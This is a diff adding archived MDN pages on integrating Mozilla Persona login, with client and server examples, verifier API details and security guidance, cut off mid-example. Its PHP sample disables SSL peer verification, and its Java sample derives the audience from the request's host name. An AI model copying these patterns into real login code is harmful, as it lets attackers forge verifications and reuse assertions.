+<p>For Persona to function, you need to tell it what to do when a user logs in or out. This is done by calling the {{ domxref("navigator.id.watch()") }} function and supplying three parameters:</p>
+
+<ol>
+ <li>
+  <p>The email address of the user currently logged into your site from this computer, or <code>null</code> if no one is logged in. For example, you might examine the browser's cookies to determine who is signed in.</p>
+ </li>
+ <li>
+  <p>A function to invoke when an <code>onlogin</code> action is triggered. This function is passed a single parameter, an “identity assertion,” which must be verified.</p>
+ </li>
+ <li>
+  <p>A function to invoke when an <code>onlogout</code> action is triggered. This function is not passed any parameters.</p>
+ </li>
+</ol>
+
+<div class="note style-wrap">
+<p><strong>Note:</strong> You must always include both <code>onlogin</code> and <code>onlogout</code> when you call {{ domxref("navigator.id.watch()") }}.</p>
+</div>
+
+<p>For example, if you currently think Bob is logged into your site, you might do this:</p>
+
+<pre class="brush: js;">var currentUser = 'bob@example.com';
+
+navigator.id.watch({
+  loggedInUser: currentUser,
+  onlogin: function(assertion) {
+    // A user has logged in! Here you need to:
+    // 1. Send the assertion to your backend for verification and to create a session.
+    // 2. Update your UI.
+    $.ajax({ /* &lt;-- This example uses jQuery, but you can use whatever you'd like */
+      type: 'POST',
+      url: '/auth/login', // This is a URL on your website.
+      data: {assertion: assertion},
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) { alert("Login failure: " + err); }
+    });
+  },
+  onlogout: function() {
+    // A user has logged out! Here you need to:
+    // Tear down the user's session by redirecting the user or making a call to your backend.
+    // Also, make sure loggedInUser will get set to null on the next page load.
+    // (That's a literal JavaScript null. Not false, 0, or undefined. null.)
+    $.ajax({
+      type: 'POST',
+      url: '/auth/logout', // This is a URL on your website.
+      success: function(res, status, xhr) { window.location.reload(); },
+      error: function(xhr, status, err) { alert("Logout failure: " + err); }
+    });
+  }
+});
+</pre>
+
+<p>In this example, both <code>onlogin</code> and <code>onlogout</code> are implemented by making an asynchronous <code>POST</code> request to your site’s backend. The backend then logs the user in or out, usually by setting or deleting information in a session cookie. Then, if everything checks out, the page reloads to take into account the new login state.</p>
+
+<p>You can, of course, use AJAX to implement this without reloading or redirecting, but that’s beyond the scope of this tutorial.</p>
+
+<p>Here is another example, this time not using jQuery.</p>
+
+<pre class="brush: js;">function simpleXhrSentinel(xhr) {
+    return function() {
+        if (xhr.readyState == 4) {
+            if (xhr.status == 200)
+                // reload page to reflect new login state
+                window.location.reload();
+            else
+                alert("XMLHttpRequest error: " + xhr.status); } } }
+
+function verifyAssertion(assertion) {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // verification of user's email address and it must arrange for the binding
+    // of currentUser to said address when the page is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("POST", "/xhr/sign-in", true);
+    // see http://www.openjs.com/articles/ajax_xmlhttp_using_post.php
+    var param = "assert="+assertion;
+    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+    xhr.setRequestHeader("Content-length", param.length);
+    xhr.setRequestHeader("Connection", "close");
+    xhr.send(param); // for verification by your backend
+
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+function signoutUser() {
+    // Your backend must return HTTP status code 200 to indicate successful
+    // sign out (usually the resetting of one or more session variables) and
+    // it must arrange for the binding of currentUser to 'null' when the page
+    // is reloaded
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "/xhr/sign-out", true);
+    xhr.send(null);
+    xhr.onreadystatechange = simpleXhrSentinel(xhr); }
+
+// Go!
+navigator.id.watch( {
+    loggedInUser: currentUser,
+         onlogin: verifyAssertion,
+        onlogout: signoutUser } );
+</pre>
+
+<p>You <strong>must</strong> call <code>navigator.id.watch()</code> on every page with a login or logout button. To support Persona enhancements like automatic login and global logout for your users, you <strong>should</strong> call this function on every page of your site.</p>
+
+<p>Persona will compare the email address you've passed into <code>loggedInUser</code> with its own knowledge of whether a user is currently logged in, and who they are. If these don't match, it may automatically invoke <code>onlogin</code> or <code>onlogout</code> on page load.</p>
+
+<p> </p>
+
+<h2 id="Step_4_Verify_the_user’s_credentials">Step 4: Verify the user’s credentials</h2>
+
+<p>Instead of passwords, Persona uses “identity assertions,” which are kind of like single-use, single-site passwords combined with the user’s email address. When a user wants to log in, your <code>onlogin</code> callback will be invoked with an assertion from that user. Before you can log them in, you must verify that the assertion is valid.</p>
+
+<p>It’s <em>extremely important</em> that you verify the assertion on your server, and not in JavaScript running on the user’s browser, since that would be easy to forge. The example above handed off the assertion to the site’s backend by using jQuery’s <code>$.ajax()</code> helper to <code>POST</code> it to <code>/auth/login</code>.</p>
+
+<p>Once your server has an assertion, how do you verify it? The easiest way is to use a helper service provided by Mozilla. Simply <code>POST</code> the assertion to <code>https://verifier.login.persona.org/verify</code> with two parameters:</p>
+
+<ol>
+ <li><code>assertion</code>: The identity assertion provided by the user.</li>
+ <li><code>audience</code>: The hostname and port of your website. You must hardcode this value in your backend; do not derive it from any data supplied by the user.</li>
+</ol>
+
+<p>For example, if you’re <code>example.com</code>, you can use the command line to test an assertion with:</p>
+
+<pre class="brush: bash;">$ curl -d "assertion=&lt;ASSERTION&gt;&amp;audience=https://example.com:443" "https://verifier.login.persona.org/verify"
+</pre>
+
+<p>If it’s valid, you’ll get a JSON response like this:</p>
+
+<pre class="brush: js;">{
+  "status": "okay",
+  "email": "bob@eyedee.me",
+  "audience": "https://example.com:443",
+  "expires": 1308859352261,
+  "issuer": "eyedee.me"
+}
+</pre>
+
+<p>You can learn more about the verification service by reading <a href="https://developer.mozilla.org/en-US/docs/BrowserID/Remote_Verification_API">The Verification Service API</a>. An example <code>/api/login</code> implementation, using <a href="http://python.org/">Python</a>, the <a href="http://flask.pocoo.org/">Flask</a> web framework, and the <a href="http://python-requests.org">Requests</a> HTTP library might look like this:</p>
+
+<pre class="brush: python;">@app.route('/auth/login', methods=['POST'])
+def login():
+    # The request has to have an assertion for us to verify
+    if 'assertion' not in request.form:
+        abort(400)
+
+    # Send the assertion to Mozilla's verifier service.
+    data = {'assertion': request.form['assertion'], 'audience': 'https://example.com:443'}
+    resp = requests.post('https://verifier.login.persona.org/verify', data=data, verify=True)
+
+    # Did the verifier respond?
+    if resp.ok:
+        # Parse the response
+        verification_data = json.loads(resp.content)
+
+        # Check if the assertion was valid
+        if verification_data['status'] == 'okay':
+            # Log the user in by setting a secure session cookie
+            session.update({'email': verification_data['email']})
+            return resp.content
+
+    # Oops, something failed. Abort.
+    abort(500)
+</pre>
+
+<p>For an example on how to use Persona in a C# ASP.Net MVC3 application, <a href="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo" title="https://github.com/sergiotapia/ASP.Net-MVC3-Persona-Demo">visit this application demo</a> or see the Controller code below:</p>
+
+<p> </p>
+
+<pre class="brush:java;">public class AuthController : Controller
+{
+    [HttpPost]
+    public ActionResult Login(string assertion)
+    {
+        if (assertion == null)
+        {
+            // The 'assertion' key of the API wasn't POSTED. Redirect,
+            // or whatever you'd like, to try again.
+            return RedirectToAction("Index", "Home");
+        }
+
+        using (var web = new WebClient())
+        {
+            // Build the data we're going to POST.
+            var data = new NameValueCollection();
+            data["assertion"] = assertion;
+            data["audience"] = "https://example.com:443"; // Use your website's URL here.
+
+
+            // POST the data to the Persona provider (in this case Mozilla)
+            var response = web.UploadValues("https://verifier.login.persona.org/verify", "POST", data);
+            var buffer = Encoding.Convert(Encoding.GetEncoding("iso-8859-1"), Encoding.UTF8, response);
+
+
+            // Convert the response to JSON.
+            var tempString = Encoding.UTF8.GetString(buffer, 0, response.Length);
+            var reader = new JsonReader();
+            dynamic output = reader.Read(tempString);
+
+            if (output.status == "okay")
+            {
+                string email = output.email; // Since this is dynamic, convert it to string.
+                FormsAuthentication.SetAuthCookie(email, true);
+                return RedirectToAction("Index", "Home");
+            }
+
+            // Could not log in, do something else.
+            return RedirectToAction("Index", "Home");
+        }
+    }
+}</pre>
+
+<p>The session management is probably very similar to your existing login system. The first big change is in verifying the user’s identity by checking an assertion instead of checking a password. The other big change is ensuring that the user’s email address is available for use as the <code>loggedInEmail</code> parameter to {{ domxref("navigator.id.watch()") }}.</p>
+
+<p>Logout is simple: you just need to remove the user’s session cookie.</p>
+
+<h2 id="Step_5_Review_best_practices">Step 5: Review best practices</h2>
+
+<p>Once everything works and you’ve successfully logged into and out of your site, you should take a moment to review <a href="https://developer.mozilla.org/docs/BrowserID/Security_Considerations">best practices</a> for using Persona safely and securely.</p>
+
+<p>If you're making a production-ready site, you may want to write integration tests that simulate logging a user in and out of your site using Persona. To facilitate this action in Selenium, consider using the <a href="https://github.com/mozilla/bidpom" title="https://github.com/mozilla/bidpom">bidpom</a> library. The sites <a href="https://mockmyid.com/" title="https://mockmyid.com/">mockmyid.com</a> and <a href="http://personatestuser.org" title="http://personatestuser.org">personatestuser.org</a> may also be helpful.</p>
+
+<p>Lastly, don’t forget to sign up for the <a href="https://mail.mozilla.org/listinfo/persona-notices">Persona notices</a> mailing list so you’re notified of any security issues or backwards incompatible changes to the Persona API. The list is extremely low traffic: it’s only used to announce changes which may adversely impact your site.</p>
+
+<p> </p>
diff --git a/files/it/archive/mozilla/persona/remote_verification_api/index.html b/files/it/archive/mozilla/persona/remote_verification_api/index.html
new file mode 100644
index 0000000000..05a0e1e7b5
--- /dev/null
+++ b/files/it/archive/mozilla/persona/remote_verification_api/index.html
@@ -0,0 +1,171 @@
+---
+title: API di verifica remota
+slug: Archive/Mozilla/Persona/Remote_Verification_API
+translation_of: Archive/Mozilla/Persona/Remote_Verification_API
+---
+<h2 id="Summary" name="Summary">Summary</h2>
+<p>When a user tries to log into a website, their browser generates a data structure called an <em>assertion</em>, which is essentially a cryptographically signed email address. The browser sends this assertion to the web site, which must verify that the assertion is valid before logging the user in.</p>
+<p>Assertions can be verified locally, or with an API hosted at <span class="link-https"><code>https://verifier.login.persona.org/verify</code></span>. This page describes how to use the API.</p>
+<h2 id="Methods" name="Methods">Method</h2>
+<p>HTTP POST request to <code>https://verifier.login.persona.org/verify</code>.</p>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<dl>
+ <dt>
+  <code>assertion</code></dt>
+ <dd>
+  The assertion supplied by the user. Available as the first parameter passed to the <code>onlogin</code> function in {{ domxref("navigator.id.watch()") }}.</dd>
+ <dt>
+  <code>audience</code></dt>
+ <dd>
+  The protocol, domain name, and port of your site. For example, "<code>https://example.com:443</code>".</dd>
+</dl>
+<h3 id="Return_values" name="Return_values">Return values</h3>
+<p>The call returns a JSON structure containing a <code>status</code> element, which may be either "okay" or "failure". Depending on the value of <code>status</code>, the structure contains additional elements listed below.</p>
+<h4 id="okay" name="okay">"okay"</h4>
+<p>The assertion is valid.</p>
+<p>In this case the JSON structure contains the following additional elements:</p>
+<table class="standard-table" style="width: 80%;">
+ <tbody>
+  <tr>
+   <td>"<code>email</code>"</td>
+   <td>The address contained in the assertion, for the intended person being logged in.</td>
+  </tr>
+  <tr>
+   <td>"<code>audience</code>"</td>
+   <td>The audience value contained in the assertion. Expected to be your own website URL.</td>
+  </tr>
+  <tr>
+   <td>"<code>expires</code>"</td>
+   <td>The date the assertion expires, expressed as the <a href="/en/JavaScript/Reference/Global_Objects/Date/valueOf" title="en/JavaScript/Reference/Global_Objects/Date/valueOf">primitive value of a Date object</a>: that is, the number of milliseconds since midnight 01 January, 1970 UTC.</td>
+  </tr>
+  <tr>
+   <td>"<code>issuer</code>"</td>
+   <td>The hostname of the identity provider that issued the assertion.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="failure" name="failure">"failure"</h4>
+<p>The assertion is invalid. In this case the JSON structure contains one additional element:</p>
+<table class="compact-table">
+ <tbody>
+  <tr>
+   <td><code>"reason"</code></td>
+   <td>A string explaining why verification failed.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Examples" name="Examples">Examples</h2>
+<h3 id="node.js" name="node.js">node.js</h3>
+<p>This example uses a node.js server using express.js</p>
+<pre class="brush: js">var express = require("express"),
+    app = express.createServer(),
+    https = require("https"),
+    querystring = require("querystring");
+/* ... */
+
+// The audience must match what your browser's address bar shows,
+// including protocol, hostname, and port
+var audience = "http://localhost:8888";
+
+app.post("/authenticate", function(req, res) {
+  var vreq = https.request({
+    host: "verifier.login.persona.org",
+    path: "/verify",
+    method: "POST"
+  }, function(vres) {
+    var body = "";
+    vres.on('data', function(chunk) { body+=chunk; } )
+        .on('end', function() {
+          try {
+            var verifierResp = JSON.parse(body);
+            var valid = verifierResp &amp;&amp; verifierResp.status === "okay";
+            var email = valid ? verifierResp.email : null;
+            req.session.email = email;
+            if (valid) {
+              console.log("assertion verified successfully for email:", email);
+              res.json(email);
+            } else {
+              console.log("failed to verify assertion:", verifierResp.reason);
+              res.send(verifierResp.reason, 403);
+            }
+          } catch(e) {
+            console.log("non-JSON response from verifier");
+            // bogus response from verifier!
+            res.send("bogus response from verifier!", 403);
+
+          }
+        });
+  });
+
+  vreq.setHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+  var data = querystring.stringify({
+    assertion: req.body.assertion,
+    audience: audience
+  });
+
+  vreq.setHeader('Content-Length', data.length);
+  vreq.write(data);
+  vreq.end();
+
+  console.log("verifying assertion!");
+});
+
+</pre>
+<p>via <a class="link-https" href="https://github.com/lloyd/myfavoritebeer.org/blob/06255b960e1f9078bc935c1c7af0662f33c88818/server/main.js#L112">Lloyd Hilaiel</a></p>
+<h3 id="PHP" name="PHP">PHP</h3>
+<pre class="brush: php">$url = 'https://verifier.login.persona.org/verify';
+$assert = filter_input(
+    INPUT_POST,
+    'assertion',
+    FILTER_UNSAFE_RAW,
+    FILTER_FLAG_STRIP_LOW|FILTER_FLAG_STRIP_HIGH
+);
+//Use the $_POST superglobal array for PHP &lt; 5.2 and write your own filter
+$params = 'assertion=' . urlencode($assert) . '&amp;audience=' .
+           urlencode('http://example.com:80');
+$ch = curl_init();
+$options = array(
+    CURLOPT_URL =&gt; $url,
+    CURLOPT_RETURNTRANSFER =&gt; TRUE,
+    CURLOPT_POST =&gt; 2,
+    //CURLOPT_SSL_VERIFYPEER =&gt; true,   //This currently blocks connection to 'https://verifier.login.persona.org/verify'
+    CURLOPT_SSL_VERIFYPEER =&gt; 0,
+
+    CURLOPT_SSL_VERIFYHOST =&gt; 2,
+    CURLOPT_POSTFIELDS =&gt; $params
+);
+curl_setopt_array($ch, $options);
+$result = curl_exec($ch);
+curl_close($ch);
+echo $result;</pre>
+<p>Via <a class="link-https" href="https://github.com/codepo8/BrowserID-login-with-PHP/blob/184fdb74c8a554461c262875859968154d09288e/verify.php">Christian Heilmann</a></p>
+<h3 id="Java" name="Java" style="line-height: 20px;">Java</h3>
+<pre class="brush: java">@Override
+protected void doPost(final HttpServletRequest req,
+   final HttpServletResponse resp) throws ServletException,
+   IOException {
+
+   final String audience = req.getServerName();
+   final String assertion = req.getParameter("assertion");
+   final Verifier verifier = new Verifier();
+   final BrowserIDResponse personaResponse = verifier.verify(assertion,audience);
+   final Status status = personaResponse.getStatus();
+
+   if (status == Status.OK) {
+     /* Authentication with Persona was successful */
+     String email = personaResponse.getEmail();
+     log.info("{} has sucessfully signed in", email);
+     HttpSession session = req.getSession(true);
+     session.setAttribute("email", email);
+
+   } else {
+     /* Authentication with Persona failed */
+     log.info("Sign in failed...");
+
+   }
+}
+</pre>
+<p>Via <a class="link-https" href="https://github.com/user454322/browserid-verifier">Javier</a></p>
+<p> </p>
+<p>Note: If you send the assertion and audience parameters as a JSON-object, they <strong>must not</strong> be URL-encoded. If they are sent as regular HTTP POST parameters, as in the example above, they <strong>must</strong> be URL-encoded.</p>
diff --git a/files/it/archive/mozilla/persona/security_considerations/index.html b/files/it/archive/mozilla/persona/security_considerations/index.html
new file mode 100644
index 0000000000..7d13904b45
--- /dev/null
+++ b/files/it/archive/mozilla/persona/security_considerations/index.html
@@ -0,0 +1,55 @@
+---
+title: Considerazioni sulla sicurezza
+slug: Archive/Mozilla/Persona/Security_Considerations
+translation_of: Archive/Mozilla/Persona/Security_Considerations
+---
+<p>When you add Persona support to your website, Persona takes on as much of the security burden as it can. However, some aspects of security can only be handled by your website. They're listed below.</p>
+<h2 id="Essential_practices" name="Essential_practices">Essential practices</h2>
+<h3 id="Verify_assertions_on_your_server" name="Verify_assertions_on_your_server">Verify assertions on your server</h3>
+<p>When using Persona, identity assertions are passed into the <code>onlogin</code> function passed to {{ domxref("navigator.id.watch()") }}. You should <em>always</em> pass the assertion to your server for verification, and only your server should decide to grant the user additional permissions based on the verification result:</p>
+<pre class="brush:js;">// Inside navigator.id.watch({ ...
+onlogin: function(assertion) {
+  // A user wants to log in! Here you need to:
+  // 1. Send the assertion to your backend for verification and to create a session.
+  // 2. Update your UI.
+},
+</pre>
+<p>If you try to verify the assertion using the JavaScript executing in the user's browser, then a malicious user will be able to impersonate a legitimate user of your site by locally injecting code and subverting your JavaScript. This is possible because you're not fully in control of the user's browser, where the code executes.</p>
+<p>Again, you should <em>always</em> pass the assertion to your server for verification. Even if you're using the remote verification API.</p>
+<h3 id="Explicitly_specify_the_audience_parameter" name="Explicitly_specify_the_audience_parameter">Explicitly specify the audience parameter</h3>
+<p>To verify an assertion, you may issue a POST request to<code> https://verifier.login.persona.org/verify</code>. The request includes a parameter called <code>audience</code>:</p>
+<pre><code>assertion=&lt;ASSERTION&gt;&amp;audience=https://mysite.com:443"</code></pre>
+<p>The <code>audience</code> parameter is required. You should always specify the audience explicitly in your code, or in your code's configuration. Specifically:</p>
+<ul>
+ <li>Do not trust the Host header sent by the user's browser.</li>
+ <li>Do not trust an explicit parameter sent by the user's browser, but generated by your JavaScript using, e.g. <code>document.location</code>.</li>
+</ul>
+<p>If you trust the user's browser to tell you the audience, then it becomes possible for a malicious web site to reuse assertions for <em>its</em> web site to log into <em>your</em> web site.</p>
+<h3 id="Verify_SSL_certificates" name="Verify_SSL_certificates">Verify SSL certificates</h3>
+<p>To verify an assertion, you may issue a POST request to <code>https://verifier.login.persona.org/verify</code>. You must ensure that your HTTPS request verifies the certificate sent from the server against a trusted root certificate. If you don't, then an attacker could pose as <code>verifier.login.persona.org</code> and issue false verifications.</p>
+<p>Check that the library you are using to make the request verifies certificates correctly, and that you are initializing it with the appropriate root certificate(s).</p>
+<p>For example, Python 2.7's standard <a class="external" href="http://docs.python.org/release/2.7.3/library/urllib2.html#urllib2.urlopen" title="http://docs.python.org/release/2.7.3/library/urllib2.html#urllib2.urlopen">urllib2 module</a> does not validate server certificates. Instead, we recommend using the "<a class="external" href="http://pypi.python.org/pypi/requests">requests</a>" or "<a class="external" href="http://pypi.python.org/pypi/urllib3" title="http://pypi.python.org/pypi/urllib3">urllib3</a>" modules in Python 2.x, or the standard <code>http.client.HTTPSConnection</code> class in Python 3.x. For Perl, ensure that you are using at least version 6.0 of <code>libwww-perl</code>. Depending on the language, library, and operating system that you're using, you may need to supply either a list of trusted CA roots or the single CA used by <code>verifier.login.persona.org</code>.</p>
+<h3 id="Implement_CSRF_protection" name="Implement_CSRF_protection">Implement CSRF protection</h3>
+<p>In a CSRF (Cross-Site Request Forgery) login attack, an attacker uses a cross-site request forgery to log the user into a web site using the attacker's credentials.</p>
+<p>For example: a user visits a malicious web site containing a <code>form</code> element. The form's <code>action</code> attribute is set to an HTTP POST request to <a class="external" href="http://www.google.com/login" title="http://www.google.com/login">http://www.google.com/login</a>, supplying the attacker's username and password. When the user submits the form, the request is sent to Google, the login succeeds and the Google server sets a cookie in the user's browser. Now the user's unknowingly logged into the attacker's Google account.</p>
+<p>The attack can be used to gather sensitive information about the user. For example, Google's <a class="link-https" href="https://www.google.com/history/">Web History</a> feature logs all the user's Google search terms. If a user is logged into the attacker's Google account and the attacker has Web History enabled, then the user is giving the attacker all this information.</p>
+<p>CSRF login attacks, and potential defenses against them, are documented more fully in <a class="external" href="http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf">Robust Defenses for Cross-Site Request Forgery</a> (PDF). They're not specific to Persona: most login mechanisms are potentially vulnerable to them.</p>
+<p>There are a variety of techniques which can be used to protect a site from CSRF login attacks, which are documented more fully in the study above.</p>
+<p>One approach is to create a secret identifier in the server, shared with the browser, and require the browser to supply it when making login requests. For example:</p>
+<ol>
+ <li>As soon as the user lands on your site, before they try to log in, create a session for them on the server. Store the session ID in a browser cookie.</li>
+ <li>On the server, generate a random string of at least 10 alphanumeric characters. A randomly generated UUID is a good option. This is the CSRF token. Store it in the session.</li>
+ <li>Deliver the CSRF token to the browser by either embedding it in JavaScript or HTML as a hidden form variable.</li>
+ <li>Ensure that the AJAX submission or form POST includes the CSRF token.</li>
+ <li>On the server side, before accepting an assertion, check that the submitted CSRF token matches the session-stored CSRF token.</li>
+</ol>
+<h2 id="Enhancements" name="Enhancements">Enhancements</h2>
+<h3 id="Content_Security_Policy_(CSP)" name="Content_Security_Policy_(CSP)">Content Security Policy (CSP)</h3>
+<p><a href="/en-US/docs/Security/CSP" title="Security/CSP">Content Security Policy</a> (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware.</p>
+<p>If you use CSP on your site, you may need to tweak your policy to enable Persona. Depending on your policy, you may need to:</p>
+<ul>
+ <li>Remove inline <code>javascript:</code> URIs and replace them with code loaded from an additional script file. The file can look up elements based on their ID, and then attach to the element by setting {{ domxref("element.onclick", "onclick") }} or calling {{ domxref("element.addEventListener()", "addEventListener()") }}.</li>
+ <li>Allow <code>https://login.persona.org</code> as both a <code>script-src</code> and <code>frame-src</code> so that your site can load the remote <code>include.js</code> file and that file can communicate with the fallback Persona implementation.</li>
+</ul>
+<p>An example Apache configuration might include:</p>
+<pre><span class="diff-content"><span class="idiff">Header set X-Content-Security-Policy: "default-src 'self'; frame-src 'self' https://login.persona.org ; script-src 'self' https://login.persona.org"</span></span></pre>
diff --git a/files/it/archive/mozilla/persona/the_implementor_s_guide/index.html b/files/it/archive/mozilla/persona/the_implementor_s_guide/index.html
new file mode 100644
index 0000000000..2bd12dcc0b
--- /dev/null
+++ b/files/it/archive/mozilla/persona/the_implementor_s_guide/index.html
@@ -0,0 +1,57 @@
+---
+title: The implementor's guide
+slug: Archive/Mozilla/Persona/The_implementor_s_guide
+tags:
+  - NeedsTranslation
+  - Persona
+  - TopicStub
+translation_of: Archive/Mozilla/Persona/The_implementor_s_guide
+---
+<p>The <a href="/en-US/docs/Persona/Quick_setup" title="/en-US/docs/Persona/Quick_setup">Quick setup guide</a> should be enough to get you started, but when building a full production site you'll probably need features that aren't covered in that guide. In this page we've collected features that are commonly needed by sign-in systems, and explained the best-practice way to implement them with Persona.</p>
+<div class="section">
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Call_logout%28%29_after_a_failed_login" title="BrowserID/Why_BrowserID">Call logout() after a failed login</a></dt>
+  <dd>
+   Always call logout() if you reject an assertion, to avoid a mismatch between your idea of the current user and Persona's idea, which can lead to an endless loop of failed logins.</dd>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Adding_extra_email_addresses_with_Persona" title="BrowserID/Quick setup">Adding extra email addresses with Persona</a></dt>
+  <dd>
+   How to let your users add secondary email addresses using Persona.</dd>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Enabling_users_to_change_their_email_address" title="BrowserID/Quick setup">Enabling users to change their email address</a></dt>
+  <dd>
+   How to let your users change their email address using Persona.</dd>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Problems_integrating_with_CRSF_protection" title="BrowserID/Quick setup">Problems integrating with CSRF protection</a></dt>
+  <dd>
+   A problem caused by the interaction between a common mechanism for CSRF (Cross Site Request Forgery) protection and Persona's Observer API.</dd>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Supporting_users_without_JavaScript" title="BrowserID/Quick setup">Supporting users who don't have JavaScript</a></dt>
+  <dd>
+   Persona requires JavaScript. This page has some tips for supporting users who have JavaScript disabled.</dd>
+ </dl>
+ <dl>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Call_request()_only_from_a_click_handler" title="BrowserID/Quick setup">Call request() or get() only from a key handler or in response to a keypress</a></dt>
+  <dd>
+   Because Persona uses popup windows, you must call request() or get() only in response to a click or a key press, not some other event.</dd>
+ </dl>
+ <dl>
+  <dt>
+   <a href="/en-US/docs/Persona/The_implementor_s_guide/Testing" title="BrowserID/Quick setup">Testing your system</a></dt>
+  <dd>
+   Some pointers for simulating users logging in and out of your website.</dd>
+ </dl>
+</div>
+<p> </p>
diff --git a/files/it/archive/mozilla/persona/the_implementor_s_guide/testing/index.html b/files/it/archive/mozilla/persona/the_implementor_s_guide/testing/index.html
new file mode 100644
index 0000000000..4ace111864
--- /dev/null
+++ b/files/it/archive/mozilla/persona/the_implementor_s_guide/testing/index.html
@@ -0,0 +1,8 @@
+---
+title: Testing
+slug: Archive/Mozilla/Persona/The_implementor_s_guide/Testing
+translation_of: Archive/Mozilla/Persona/The_implementor_s_guide/Testing
+---
+<p>If you're making a production system you will need to write integration tests that simulate logging a user in and out of your site using Persona.</p>
+<p>If you're using <a href="http://docs.seleniumhq.org/" title="http://docs.seleniumhq.org/">Selenium</a> for testing, consider using the <a href="https://github.com/mozilla/bidpom" title="https://github.com/mozilla/bidpom">bidpom</a> library. The sites <a href="https://mockmyid.com/" title="https://mockmyid.com/">mockmyid.com</a> and <a href="http://personatestuser.org" title="http://personatestuser.org">personatestuser.org</a> may also be helpful.</p>
+<p>You may also want to consider <a href="http://toolness.github.io/stubbyid/" title="http://toolness.github.io/stubbyid/">stubbyid</a>.</p>
diff --git a/files/it/archive/mozilla/persona/the_navigator.id_api/index.html b/files/it/archive/mozilla/persona/the_navigator.id_api/index.html
new file mode 100644
index 0000000000..7ab75d0f93
--- /dev/null
+++ b/files/it/archive/mozilla/persona/the_navigator.id_api/index.html
@@ -0,0 +1,148 @@
+---
+title: La API navigator.id
+slug: Archive/Mozilla/Persona/The_navigator.id_API
+translation_of: Archive/Mozilla/Persona/The_navigator.id_API
+---
+<div class="note">For full details about the <code>navigator.id</code> API, refer to its <a href="/en-US/docs/Web/API/navigator.id">reference pages</a>.</div>
+
+<p>With Persona, a website asks the user to provide an "assertion", which is a digitally signed email address. By verifying the signature, the site can be assured that the user really does control the address in question. The site can then use this email address as an identifier for that user.</p>
+
+<p>To ask for an assertion, the website uses a JavaScript API defined by the <code>id</code> object, which is a member of the global <a href="/en-US/docs/Web/API/Navigator"><code>navigator</code></a> object.</p>
+
+<p>In future we expect the <code>id</code> object to be built into the browser, but at the moment it isn't, so sites using Persona need to include the polyfill library hosted at <a class="external link-https" href="https://login.persona.org/include.js" title="https://login.persona.org/include.js">https://login.persona.org/include.js</a> in their pages. After that, they can work as if <code>id</code> is just a built-in member of <code>navigator</code>.</p>
+
+<p>There are two current versions of the API: the "Callback API", and the newer "Observer API".</p>
+
+<h2 id="The_Callback_API">The Callback API</h2>
+
+<p>The <a href="/en-US/docs/Web/API/navigator.id#CallbackMethods">Callback API</a> consists of a single function, <a href="/en-US/docs/Web/API/navigator.id.get"><code>get()</code></a>. It takes two arguments:</p>
+
+<ul>
+ <li>a callback function that will be called back with a signed assertion if the user successfully authenticates to their Identity Provider</li>
+ <li>an options object that mostly customizes the dialog presented to users: allowing a website to link to its privacy policy, to set background color or include an icon, for example</li>
+</ul>
+
+<p>You call <code>get()</code>, and in the callback you send the assertion to the server to <a href="/en-US/docs/Mozilla/Persona/Remote_Verification_API">verify the assertion</a>. If verification succeeds, you can log the user in:</p>
+
+<pre class="brush: js">var signin = document.getElementById('sign-in');
+signin.addEventListener("click", getAssertion, false);
+
+// get an assertion
+function getAssertion() {
+  navigator.id.get(verifyAssertion, {
+                     backgroundColor: "#606B72",
+                     siteName: "My Example Site"
+                   });
+}
+
+// send the assertion to the server for verification
+function verifyAssertion(assertion) {
+  var xhr = new XMLHttpRequest();
+  xhr.open("POST", "/verify", true);
+  var param = "assertion="+assertion;
+  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+  xhr.setRequestHeader("Content-length", param.length);
+  xhr.setRequestHeader("Connection", "close");
+  xhr.send(param);
+  xhr.onload = handleVerificationResponse(xhr);
+}</pre>
+
+<h2 id="The_Observer_API">The Observer API</h2>
+
+<p>The <a href="/en-US/docs/Web/API/navigator.id#ObserverMethods">Observer API</a> consists of three functions: <a href="/en-US/docs/Web/API/navigator.id.request"><code>request()</code></a>, <a href="/en-US/docs/Web/API/navigator.id.watch"><code>watch()</code></a>, and <a href="/en-US/docs/Web/API/navigator.id.logout"><code>logout()</code></a>.</p>
+
+<p>You call <code>request()</code> to ask for a signed assertion, as you do using <code>get()</code> in the old API. But <code>request()</code> doesn't take a callback parameter: instead, you call another function <code>watch()</code>, with which you register callbacks for <code>onlogin</code> and <code>onlogout</code> events. Persona calls these callbacks when a user logs in or out respectively. Like the callback to <code>get()</code>, the <code>onlogin</code> callback gets a signed assertion for you to verify.</p>
+
+<p>You call <code>logout()</code> when a user logs out of your site, so Persona can update its state.</p>
+
+<p>The main difference between this API and the Callback API is that the Callback API doesn't maintain any state: it doesn't have any idea which user is currently logged into Persona in general or any site in particular. Each website is responsible for its own session management.</p>
+
+<p>By contrast the Observer API implements session management: the browser keeps track of which user it thinks is logged into a particular site and can trigger the <code>onlogin</code> and <code>onlogout</code> callbacks when its idea of the state changes. Because of this, you need to ensure that your website's state and Persona's state are kept in synch, and this tends to make the Observer API more complex to use.</p>
+
+<p>Here's an example showing the Observer API:</p>
+
+<pre class="brush: js">var signin = document.getElementById('sign-in');
+var signout = document.getElementById('sign-out');
+
+signin.addEventListener("click", function() {
